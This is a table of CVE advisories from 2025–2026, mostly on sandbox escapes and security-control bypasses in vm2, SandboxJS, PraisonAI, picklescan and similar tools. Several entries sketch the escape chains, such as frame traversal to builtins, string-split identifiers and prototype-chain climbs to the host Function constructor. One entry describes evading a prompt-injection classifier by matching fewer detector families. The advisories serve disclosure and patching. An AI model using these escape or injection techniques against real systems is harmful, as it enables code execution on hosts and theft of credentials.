| CVE-2026-46403 | Medium | 2026-07-21 | Not applicable | Proof of concept only | Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.17, KVM exposes `ExecuteReadOnlyWithTypedArguments` as a read-only execution mechanism. The hook saves the previous read-only state, sets `runtime.SetReadOnly(true)`, executes the destination context, and then restores the previous read-only state. However, the indirect contract delete and upgrade paths do not reject execution when `runtime.ReadOnly()` is true. As a result, a contract reached through read-only execution can call the production delete hook for a target contract it owns. The delete path appends the target address to `vmOutput.DeletedAccounts`, the output context merges `DeletedAccounts` into the caller output, and the smart contract processor later processes the VM output by deleting accounts listed in that field. The root cause is that read-only mode is applied as runtime state, but not enforced by the state-changing delete and upgrade host-core paths. This breaks the expected isolation boundary for workflows that rely on read-only calls to inspect another contract without allowing that callee to produce state-changing VM output. The issue is fixed in v1.7.17. Contract delete and upgrade host-core paths now reject execution when `runtime.ReadOnly()` is true. The invariant is regression-tested for delete, upgrade, storage writes, value transfers, and any VM output field that can later mutate chain state. |
| CVE-2026-49459 | Medium | 2026-07-14 | Not applicable | Proof of concept only | DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Prior to 3.4.6, DOMPurify.sanitize(root, { IN_PLACE: true }) could preserve event-handler attributes on an attacker-controlled <form> root when a descendant name clobbered properties checked by _isClobbered, because _forceRemove no-opped on the parent-less root and _sanitizeAttributes returned early. This issue is fixed in version 3.4.6. |
| CVE-2026-49458 | Medium | 2026-07-14 | Not applicable | Proof of concept only | DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Prior to 3.4.6, DOMPurify.sanitize(node, { IN_PLACE: true }) accepted same-origin foreign-realm DOM nodes while follow-on checks used parent-realm constructors, causing instanceof checks for forms, named node maps, document fragments, and elements to fail and skip clobber, template-content, and shadow-DOM sanitization branches so executable markup could survive. This issue is fixed in version 3.4.6. |
| CVE-2026-15618 | Low | 2026-07-14 | Not applicable | Proof of concept only | A security flaw has been discovered in mosaxiv clawlet up to 0.2.10. The affected element is the function guardExecCommand of the file tools/tool_exec.go of the component exec Safety Guard. The manipulation results in protection mechanism failure. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks. The reported GitHub issue was closed with the label "not planned". |
| CVE-2026-15528 | Low | 2026-07-13 | Not applicable | Proof of concept only | A vulnerability was found in lamaalrajih kicad-mcp up to 3.3.1. This issue affects some unknown processing of the file kicad_mcp/utils/path_validator.py. Performing a manipulation of the argument project_path/schematic_path results in protection mechanism failure. Attacking locally is a requirement. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet. |
| CVE-2026-61437 | High | 2026-07-10 | Not applicable | Proof of concept only | PraisonAI (pip package praisonaiagents) before 1.6.78 contains an unsafe dynamic module loading vulnerability in AgentFlow._resolve_pydantic_class (src/praisonai-agents/praisonaiagents/workflows/workflows.py). When a workflow step uses a string output_pydantic reference, the framework locates and imports a sibling tools.py from the workflow file's directory via importlib exec_module without sandboxing, ignoring the PRAISONAI_ALLOW_*_TOOLS environment variables. An attacker who controls a workflow file and its sibling tools.py can execute arbitrary Python code with the workflow runner's privileges when the workflow is executed via WorkflowManager or after load_yaml. |
| CVE-2026-60086 | Medium | 2026-07-10 | Not applicable | Proof of concept only | PraisonAI before 4.6.78 contains a prompt injection defense bypass vulnerability where the injection defense only blocks threats classified as CRITICAL, requiring three or more detector families to match simultaneously. Attackers can craft single or double-vector prompt injections that are classified as HIGH threat level and pass through unblocked to reach the model. |
| CVE-2026-14625 | Low | 2026-07-04 | Not applicable | Proof of concept only | A security flaw has been discovered in NousResearch hermes-agent up to 0.15.2. The affected element is the function shell.exec of the file tui_gateway/server.py. The manipulation results in protection mechanism failure. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way. |
| CVE-2026-14535 | Critical | 2026-07-04 | Not applicable | Proof of concept only | In Trail of Bits fickling versions up to and including 0.1.11, the UnsafeImportsML analysis pass unconditionally calls AnalysisContext.shorten_code(node) on every import node it inspects, regardless of whether the import is flagged as unsafe. This call registers the shortened code representation in the shared AnalysisContext.reported_shortened_code set. When the MLAllowlist analysis pass subsequently runs, it calls the same shorten_code() method, receives already_reported=True for every import, and executes a continue statement that skips its allowlist check entirely. This renders MLAllowlist dead code for all imports — it never evaluates whether an import is in the ML allowlist or not. The MLAllowlist pass was designed to catch imports of modules outside the known-safe ML ecosystem (torch, numpy, transformers, etc.) that slip past the UnsafeImports denylist. With MLAllowlist inoperative, any standard library module not in the UNSAFE_IMPORTS denylist can be invoked via pickle deserialization while fickling's check_safety() returns LIKELY_SAFE. The fickling.load() API chains check_safety() into pickle.loads() as an explicit security gate, meaning a LIKELY_SAFE verdict causes the payload to be deserialized and executed. The root cause is shared mutable state between independently-correct analysis passes — UnsafeImportsML works as designed in isolation, MLAllowlist works as designed in isolation, but the shared reported_shortened_code set causes UnsafeImportsML to poison MLAllowlist's deduplication logic. |
| CVE-2025-71373 | High | 2026-07-04 | Not applicable | Proof of concept only | picklescan before 0.0.33 fails to detect operator.methodcaller function calls in pickle files, allowing attackers to bypass security checks. Remote attackers can craft malicious pickle payloads using operator.methodcaller that execute arbitrary code when loaded, compromising systems relying on picklescan for validation. |
| CVE-2026-14440 | High | 2026-07-01 | Not applicable | Proof of concept only | Description: To issue and renew TLS certificates on behalf of customers, Cloudflare's Universal SSL feature automatically manages the CAA RRset for the customer's zone. This auto-managed RRset is permissive by design (e.g. 'issue "letsencrypt.org"' without parameters). On Universal SSL zones, Cloudflare's authoritative DNS serves this auto-managed RRset at query time, superseding any customer-configured CAA records on the zone. When a customer publishes a stricter CAA record using the RFC 8657 accounturi or validationmethods parameters, the Certificate Authority does not observe those parameters when evaluating the served RRset under RFC 8659. As a result, the RFC 8657 account-binding and validation-method-binding protections are not enforced end-to-end on Universal SSL zones. Successful exploitation could result in issuance of a browser-trusted TLS certificate to an attacker, enabling MITM against the affected domain. Exploitation is non-trivial in practice: an attacker would need to hold an ACME account at one of the Certificate Authorities in the served CAA RRset and to simultaneously satisfy domain control validation across the multiple geographically distinct Network Perspectives the CA relies on for Multi-Perspective Issuance Corroboration. Cloudflare prefixes are anycast-announced from hundreds of locations globally, raising the bar against single-vantage-point BGP hijacks. Any resulting misissuance of a browser-trusted certificate is subject to Certificate Transparency logging required by major browsers, and would be visible to CT monitoring. Mitigation: Customers requiring strict RFC 8657 enforcement need to disable Universal SSL on the affected zone. Universal SSL's automatic CAA management and customer-set RFC 8657 accounturi and validationmethods enforcement are mutually exclusive by the nature of the issue, so there is no in-product workaround that preserves both. Certificate Transparency monitoring is recommended for all customers as a general detection control. Credits: David Osipov (ORCID: https://orcid.org/0009-0005-2713-9242), independent researcher |
| CVE-2025-71352 | High | 2026-06-30 | Not applicable | Proof of concept only | picklescan before 0.0.29 fails to detect the built-in Python trace.Trace.runctx function when used in pickle file reduce methods, allowing attackers to execute arbitrary code. Remote attackers can craft malicious pickle files with trace.Trace.runctx payloads that bypass picklescan detection and execute code upon pickle.load() invocation. |
| CVE-2026-58052 | Medium | 2026-06-28 | Not applicable | Proof of concept only | 7-Zip for Windows through 26.01 fails to preserve the Mark-of-the-Web when extracting a crafted RAR5 archive, because its guard that suppresses an archive-supplied Zone.Identifier stream matches the exact name 'Zone.Identifier' while a RAR5 STM record named ':Zone.Identifier:$DATA' is not matched and NTFS canonicalizes it to the same stream, overwriting the propagated Internet-zone marker with ZoneId=0. A second STM record named '::$DATA' overwrites the extracted file's default data stream, letting an attacker defeat SmartScreen/MotW warnings and spoof file content. |
| CVE-2026-55487 | High | 2026-06-25 | Not applicable | Proof of concept only | pnpm is a package manager. Prior to 10.34.2 and 11.5.3, the generic peer-suffix normalizer also stripped parenthesized text from git, URL, tarball, file, and other opaque locators. Approval for one source string could therefore authorize a different attacker-controlled source whose locator normalized to the same value. This vulnerability is fixed in 10.34.2 and 11.5.3. |
| CVE-2026-54013 | High | 2026-06-23 | Not applicable | Proof of concept only | Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.6, Open WebUI patched SVG XSS in user profile images and webhook profile images but forgot to apply the same fix to model profile images. The ModelMeta class has no validate_profile_image_url field validator, and the model image serving endpoint has no MIME allowlist or nosniff header. Any authenticated user with workspace.models permission (enabled by default) can store a data:image/svg+xml;base64,... payload in a model's profile image and achieve full account takeover of anyone who navigates to the image URL. This vulnerability is fixed in 0.9.6. |
| CVE-2026-44646 | Medium | 2026-06-17 | Not applicable | Proof of concept only | LiquidJS is a Shopify/GitHub Pages compatible template engine written in pure JavaScript. In versions 10.25.7 and below, Context.spawn() creates a child Context for the {% render %} tag but does not propagate the parent context's resolved ownPropertyOnly value, resulting in a silent bypass. The new context re-derives ownPropertyOnly from opts.ownPropertyOnly (the instance-level option), silently discarding any RenderOptions.ownPropertyOnly override that was supplied to parseAndRender(). As a result, a developer who runs a Liquid instance with the backwards-compatible ownPropertyOnly:false and then locks down an untrusted render with parseAndRender(..., { ownPropertyOnly: true }) still leaks prototype-chain properties from inside any {% render %} partial. This is a distinct exploit surface from the previously identified array-filter variants (where, reject, group_by, find, find_index, has) — the underlying root cause in Context.spawn() is shared, but {% render %} is a separately reachable sink that needs no filter usage. This issue has been fixed in version 10.26.0. |
| CVE-2026-12214 | High | 2026-06-15 | Not applicable | Proof of concept only | A security flaw has been discovered in Qihoo 360 Total Security 6.0. This vulnerability affects the function RpcStringBindingComposeW of the component Nucleus Engine Monitoring Logic. Performing a manipulation of the argument NetworkAddr results in protection mechanism failure. The attack requires a local approach. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way. |
| CVE-2026-47209 | High | 2026-06-12 | Not applicable | Proof of concept only | vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, the BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls otherReflectSet(object, key, value) against the host target, causing all inherited property writes to leak through to the host object. This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., nodejs.util.promisify.custom) to host objects, bypassing any future per-trap isDangerousCrossRealmSymbol guard on the direct set path. This issue has been patched in version 3.11.4. |
| CVE-2026-47140 | Critical | 2026-06-12 | Not applicable | Proof of concept only | vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, NodeVM blocks several dangerous Node.js builtins such as module, worker_threads, cluster, vm, repl, and inspector. However, the denylist misses process and inspector/promises. Both can be used from sandboxed code to reach host-side execution primitives. This allows sandboxed code to bypass the intended builtin restrictions and execute code in the host process. This issue has been patched in version 3.11.4. |
| CVE-2026-47139 | High | 2026-06-12 | Not applicable | Proof of concept only | vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, NodeVM supports excluding public network builtins from the wildcard builtin option. With this configuration direct access to http, https, http2, net, dgram, tls, dns, and dns/promises is blocked. However, Node.js also exposes underscored internal HTTP builtins such as _http_client and _http_server. These are not blocked when the public modules are excluded. Sandboxed code can use these internal builtins to make outbound HTTP requests and open listening HTTP sockets even though the public network modules are denied. This issue has been patched in version 3.11.4. |
| CVE-2026-10174 | Low | 2026-05-31 | Not applicable | Proof of concept only | A vulnerability was identified in Aider-AI Aider 0.86.3. Affected is an unknown function of the file aider/args.py of the component Pre-commit Hook Handler. Such manipulation of the argument git-commit-verify leads to protection mechanism failure. The attack may be launched remotely. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet. |
| CVE-2026-45102 | Critical | 2026-05-27 | Not applicable | Proof of concept only | OneUptime is an open-source monitoring and observability platform. Prior to 10.0.98, OneUptime uses the Node.js' vm module as an isolation primitive. This API was not designed for that and can be escaped via error objects and infinite recursion. This vulnerability is fixed in 10.0.98. |
| CVE-2026-44451 | Critical | 2026-05-26 | Not applicable | Proof of concept only | Lumiverse is a full-featured AI chat application. Prior to 0.9.7, the component override system transpiles user-supplied TSX via Sucrase and evaluates it with new Function, shadowing dangerous globals (fetch, window, eval, etc.) with undefined. A static source validator (validateComponentOverrideSource) additionally blocks these identifiers by word-boundary regex. Both controls are bypassed. String-split bypass of the static validator: any blocked identifier can be reconstructed at runtime from string fragments ('ownerDoc' + 'ument'). DOM ref escape from the sandbox: useRef and useEffect are provided in scope. A ref attached to a rendered element gives a live DOM node. From any real DOM node, node['ownerDoc'+'ument']['def'+'aultView'] yields the real window, bypassing all identifier shadows. Theme packs (.lumitheme / .lumiverse-theme) are the shareable delivery mechanism. A malicious pack is an exploit path: the victim imports the file, enables one component override in the Theme Editor, and the payload fires in their authenticated session.This vulnerability is fixed in 0.9.7. |
| CVE-2026-44003 | Medium | 2026-05-13 | Not applicable | Proof of concept only | vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, vm2's code transformer has a performance optimization that skips AST analysis when the code does not contain catch, import, or async keywords. This fast-path bypass allows sandboxed code to directly access the internal VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL variable, which exposes internal security functions (handleException, wrapWith, import). This vulnerability is fixed in 3.11.0. |
| CVE-2026-44000 | High | 2026-05-13 | Not applicable | Proof of concept only | vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, a sandbox boundary violation in vm2 allows host object identity to cross into the sandbox through host Promise resolution. When a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox .then() callback preserves host identity. This allows the sandbox to interact with the host object directly, including performing identity checks using host-side WeakMap and mutating host object state from inside the sandbox. This behavior occurs because the Promise fulfillment wrapper uses ensureThis() instead of the stronger cross-realm conversion path (from() / proxy wrapping). If no prototype mapping is found, ensureThis() returns the original object. As a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation. This vulnerability is fixed in 3.11.0. |
| CVE-2026-45227 | High | 2026-05-12 | Not applicable | Proof of concept only | Heym before 0.0.21 contains a sandbox escape vulnerability in the custom Python tool executor that allows authenticated workflow authors to bypass sandbox restrictions by using object-graph introspection primitives. Attackers can use Python introspection techniques to recover the unrestricted __import__ function, import blocked modules such as os and subprocess, and access inherited backend environment variables containing database credentials and encryption keys to execute arbitrary host commands as the backend service user. |
| CVE-2026-42261 | High | 2026-05-08 | Not applicable | Proof of concept only | PromptHub is an all-in-one AI toolbox for prompt, skill, and agent management. From version 0.4.9 to before version 0.5.4, apps/web/src/routes/skills.ts exposes an authenticated endpoint POST /api/skills/fetch-remote that fetches a user-supplied URL server-side and reflects the response body (up to 5 MB) back to the caller. The SSRF protection in apps/web/src/utils/remote-http.ts (isPrivateIPv6) attempts to block private/loopback destinations, but multiple alternate-but-valid IPv6 representations bypass the check. The bypasses reach any IPv4 address (loopback, RFC1918, link-local) via IPv4-mapped IPv6 in hex form, and the canonical ::1 via any representation that isn't the literal string "::1". Any authenticated user (role: user or admin) can trigger the SSRF. On deployments configured with ALLOW_REGISTRATION=true — a supported and documented configuration — this means any internet user who can register. This issue has been patched in version 0.5.4. |
| CVE-2026-26956 | Critical | 2026-05-04 | Not applicable | Proof of concept only | vm2 is an open source vm/sandbox for Node.js. In version 3.10.4, vm2 is vulnerable to full sandbox escape with arbitrary code execution. Attacker code inside VM.run() obtains host process object and runs host commands with zero host cooperation. This issue has been patched in version 3.10.5. |
| CVE-2026-26332 | Critical | 2026-05-04 | Not applicable | Proof of concept only | vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code. This issue has been patched in version 3.11.0. |
| CVE-2026-24781 | Critical | 2026-05-04 | Not applicable | Proof of concept only | vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.11.0. |
| CVE-2026-24120 | Critical | 2026-05-04 | Not applicable | Proof of concept only | vm2 is an open source vm/sandbox for Node.js. Prior to version 3.10.5, the fix for CVE-2023-37466 is insufficient and can be circumvented allowing attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.10.5. |
| CVE-2026-24118 | Critical | 2026-05-04 | Not applicable | Proof of concept only | vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.11.0. |
| CVE-2026-41469 | Medium | 2026-04-22 | Not applicable | Proof of concept only | Beghelli Sicuro24 SicuroWeb does not enforce a Content Security Policy, allowing unrestricted loading of external JavaScript resources from attacker-controlled origins. When chained with the template injection and sandbox escape vulnerabilities present in the same application, the absence of CSP removes the browser-enforced restriction that would otherwise block external script execution, enabling attackers to load arbitrary remote payloads into operator browser sessions. |
| CVE-2026-40158 | High | 2026-04-10 | Not applicable | Proof of concept only | PraisonAI is a multi-agent teams system. Prior to 4.5.128, PraisonAI's AST-based Python sandbox can be bypassed using type.__getattribute__ trampoline, allowing arbitrary code execution when running untrusted agent code. The _execute_code_direct function in praisonaiagents/tools/python_tools.py uses AST filtering to block dangerous Python attributes like __subclasses__, __globals__, and __bases__. However, the filter only checks ast.Attribute nodes, allowing a bypass. The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.getattribute, resulting in incomplete enforcement of security restrictions. The string '__subclasses__' is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list. This vulnerability is fixed in 4.5.128. |
| CVE-2026-39888 | Critical | 2026-04-08 | Not applicable | Proof of concept only | PraisonAI is a multi-agent teams system. Prior to 1.5.115, execute_code() in praisonaiagents.tools.python_tools defaults to sandbox_mode="sandbox", which runs user code in a subprocess wrapped with a restricted __builtins__ dict and an AST-based blocklist. The AST blocklist embedded inside the subprocess wrapper (blocked_attrs of python_tools.py) contains only 11 attribute names — a strict subset of the 30+ names blocked in the direct-execution path. The four attributes that form a frame-traversal chain out of the sandbox are all absent from the subprocess list (__traceback__, tb_frame, f_back, and f_builtins). Chaining these attributes through a caught exception exposes the real Python builtins dict of the subprocess wrapper frame, from which exec can be retrieved and called under a non-blocked variable name — bypassing every remaining security layer. This vulnerability is fixed in 1.5.115. |
| CVE-2026-34208 | Critical | 2026-04-06 | Not applicable | Proof of concept only | SandboxJS is a JavaScript sandboxing library. Prior to 0.8.36, SandboxJS blocks direct assignment to global objects (for example Math.random = ...), but this protection can be bypassed through an exposed callable constructor path: this.constructor.call(target, attackerObject). Because this.constructor resolves to the internal SandboxGlobal function and Function.prototype.call is allowed, attacker code can write arbitrary properties into host global objects and persist those mutations across sandbox instances in the same process. This vulnerability is fixed in 0.8.36. |
| CVE-2026-34938 | Critical | 2026-04-03 | Not applicable | Proof of concept only | PraisonAI is a multi-agent teams system. Prior to version 1.5.90, execute_code() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the _safe_getattr wrapper, achieving arbitrary OS command execution on the host. This issue has been patched in version 1.5.90. |
| CVE-2026-33622 | Medium | 2026-03-26 | Not applicable | Proof of concept only | PinchTab is a standalone HTTP server that gives AI agents direct control over a Chrome browser. PinchTab `v0.8.3` through `v0.8.5` allow arbitrary JavaScript execution through `POST /wait` and `POST /tabs/{id}/wait` when the request uses `fn` mode, even if `security.allowEvaluate` is disabled. `POST /evaluate` correctly enforces the `security.allowEvaluate` guard, which is disabled by default. However, in the affected releases, `POST /wait` accepted a user-controlled `fn` expression, embedded it directly into executable JavaScript, and evaluated it in the browser context without checking the same policy. This is a security-policy bypass rather than a separate authentication bypass. Exploitation still requires authenticated API access, but a caller with the server token can execute arbitrary JavaScript in a tab context even when the operator explicitly disabled JavaScript evaluation. The current worktree fixes this by applying the same policy boundary to `fn` mode in `/wait` that already exists on `/evaluate`, while preserving the non-code wait modes. As of time of publication, a patched version is not yet available. |
| CVE-2026-33396 | Critical | 2026-03-26 | Not applicable | Proof of concept only | OneUptime is an open-source monitoring and observability platform. Prior to version 10.0.35, a low-privileged authenticated user (ProjectMember) can achieve remote command execution on the Probe container/host by abusing Synthetic Monitor Playwright script execution. Synthetic monitor code is executed in VMRunner.runCodeInNodeVM with a live Playwright page object in context. The sandbox relies on a denylist of blocked properties/methods, but it is incomplete. Specifically, _browserType and launchServer are not blocked, so attacker code can traverse `page.context().browser()._browserType.launchServer(...)` and spawn arbitrary processes. Version 10.0.35 contains a patch. |
| CVE-2026-28500 | Critical | 2026-03-18 | Not applicable | Proof of concept only | Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. In versions up to and including 1.20.1, a security control bypass exists in onnx.hub.load() due to improper logic in the repository trust verification mechanism. While the function is designed to warn users when loading models from non-official sources, the use of the silent=True parameter completely suppresses all security warnings and confirmation prompts. This vulnerability transforms a standard model-loading function into a vector for Zero-Interaction Supply-Chain Attacks. When chained with file-system vulnerabilities, an attacker can silently exfiltrate sensitive files (SSH keys, cloud credentials) from the victim's machine the moment the model is loaded. As of time of publication, no known patched versions are available. |
| CVE-2026-23830 | Critical | 2026-01-28 | Not applicable | Proof of concept only | SandboxJS is a JavaScript sandboxing library. Versions prior to 0.8.26 have a sandbox escape vulnerability due to `AsyncFunction` not being isolated in `SandboxFunction`. The library attempts to sandbox code execution by replacing the global `Function` constructor with a safe, sandboxed version (`SandboxFunction`). This is handled in `utils.ts` by mapping `Function` to `sandboxFunction` within a map used for lookups. However, before version 0.8.26, the library did not include mappings for `AsyncFunction`, `GeneratorFunction`, and `AsyncGeneratorFunction`. These constructors are not global properties but can be accessed via the `.constructor` property of an instance (e.g., `(async () => {}).constructor`). In `executor.ts`, property access is handled. When code running inside the sandbox accesses `.constructor` on an async function (which the sandbox allows creating), the `executor` retrieves the property value. Since `AsyncFunction` was not in the safe-replacement map, the `executor` returns the actual native host `AsyncFunction` constructor. Constructors for functions in JavaScript (like `Function`, `AsyncFunction`) create functions that execute in the global scope. By obtaining the host `AsyncFunction` constructor, an attacker can create a new async function that executes entirely outside the sandbox context, bypassing all restrictions and gaining full access to the host environment (Remote Code Execution). Version 0.8.26 patches this vulnerability. |
| CVE-2026-22686 | Critical | 2026-01-14 | Not applicable | Proof of concept only | Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to 2.7.0, there is a critical sandbox escape vulnerability in enclave-vm that allows untrusted, sandboxed JavaScript code to execute arbitrary code in the host Node.js runtime. When a tool invocation fails, enclave-vm exposes a host-side Error object to sandboxed code. This Error object retains its host realm prototype chain, which can be traversed to reach the host Function constructor. An attacker can intentionally trigger a host error, then climb the prototype chain. Using the host Function constructor, arbitrary JavaScript can be compiled and executed in the host context, fully bypassing the sandbox and granting access to sensitive resources such as process.env, filesystem, and network. This breaks enclave-vm’s core security guarantee of isolating untrusted code. This vulnerability is fixed in 2.7.0. |
| CVE-2025-69264 | Critical | 2026-01-07 | Not applicable | Proof of concept only | pnpm is a package manager. Versions 10.0.0 through 10.25 allow git-hosted dependencies to execute arbitrary code during pnpm install, circumventing the v10 security feature "Dependency lifecycle scripts execution disabled by default". While pnpm v10 blocks postinstall scripts via the onlyBuiltDependencies mechanism, git dependencies can still execute prepare, prepublish, and prepack scripts during the fetch phase, enabling remote code execution without user consent or approval. This issue is fixed in version 10.26.0. |
| CVE-2025-15422 | Medium | 2026-01-02 | Not applicable | Proof of concept only | A flaw has been found in EmpireSoft EmpireCMS up to 8.0. This issue affects the function egetip of the file e/class/connect.php of the component IP Address Handler. This manipulation causes protection mechanism failure. The attack may be initiated remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way. |
| CVE-2025-65319 | Critical | 2025-12-16 | Not applicable | Proof of concept only | When using the attachment interaction functionality, Blue Mail 1.140.103 and below saves documents to a file system without a Mark-of-the-Web tag, which allows attackers to bypass the built-in file protection mechanisms of both Windows OS and third-party software. |
| CVE-2025-65318 | Critical | 2025-12-16 | Not applicable | Proof of concept only | When using the attachment interaction functionality, Canary Mail 5.1.40 and below saves documents to a file system without a Mark-of-the-Web tag, which allows attackers to bypass the built-in file protection mechanisms of both Windows OS and third-party software. |
| CVE-2025-66204 | Medium | 2025-12-09 | Not applicable | Proof of concept only | WBCE CMS is a content management system. Version 1.6.4 contains a brute-force protection bypass where an attacker can indefinitely reset the counter by modifying `X-Forwarded-For` on each request, gaining unlimited password guessing attempts, effectively bypassing all brute-force protection. The application fully trusts the `X-Forwarded-For` header without validating it or restricting its usage. This issue is fixed in version 1.6.5. |
| CVE-2025-10157 | Critical | 2025-09-17 | Not applicable | Proof of concept only | A Protection Mechanism Failure vulnerability in mmaitre314 picklescan versions up to and including 0.0.30 allows a remote attacker to bypass the unsafe globals check. This is possible because the scanner performs an exact match for module names, allowing malicious payloads to be loaded via submodules of dangerous packages (e.g., 'asyncio.unix_events' instead of 'asyncio'). When the incorrectly considered safe file is loaded after scan, it can lead to the execution of malicious code. |
| CVE-2025-59033 | High | 2025-09-08 | Not applicable | Proof of concept only | The Microsoft vulnerable driver block list is implemented as Windows Defender Application Control (WDAC) policy. Entries that specify only the to-be-signed (TBS) part of the code signer certificate are properly blocked, but entries that specify the signing certificate's TBS hash along with a 'FileAttribRef' qualifier (such as file name or version) may not be blocked, whether hypervisor-protected code integrity (HVCI) is enabled or not. NOTE: The vendor disputes this CVE ID assignment and states that the driver blocklist is intended for use with HVCI. |
| CVE-2025-50897 | Medium | 2025-08-19 | Not applicable | Proof of concept only | A vulnerability exists in riscv-boom SonicBOOM 1.2 (BOOMv1.2) processor implementation, where valid virtual-to-physical address translations configured with write permissions (PTE_W) in SV39 mode may incorrectly trigger a Store/AMO access fault during store instructions (sd). This occurs despite the presence of proper page table entries and valid memory access modes. The fault is reproducible when transitioning into virtual memory and attempting store operations in mapped kernel memory, indicating a potential flaw in the MMU, PMP, or memory access enforcement logic. This may cause unexpected kernel panics or denial of service in systems using BOOMv1.2. |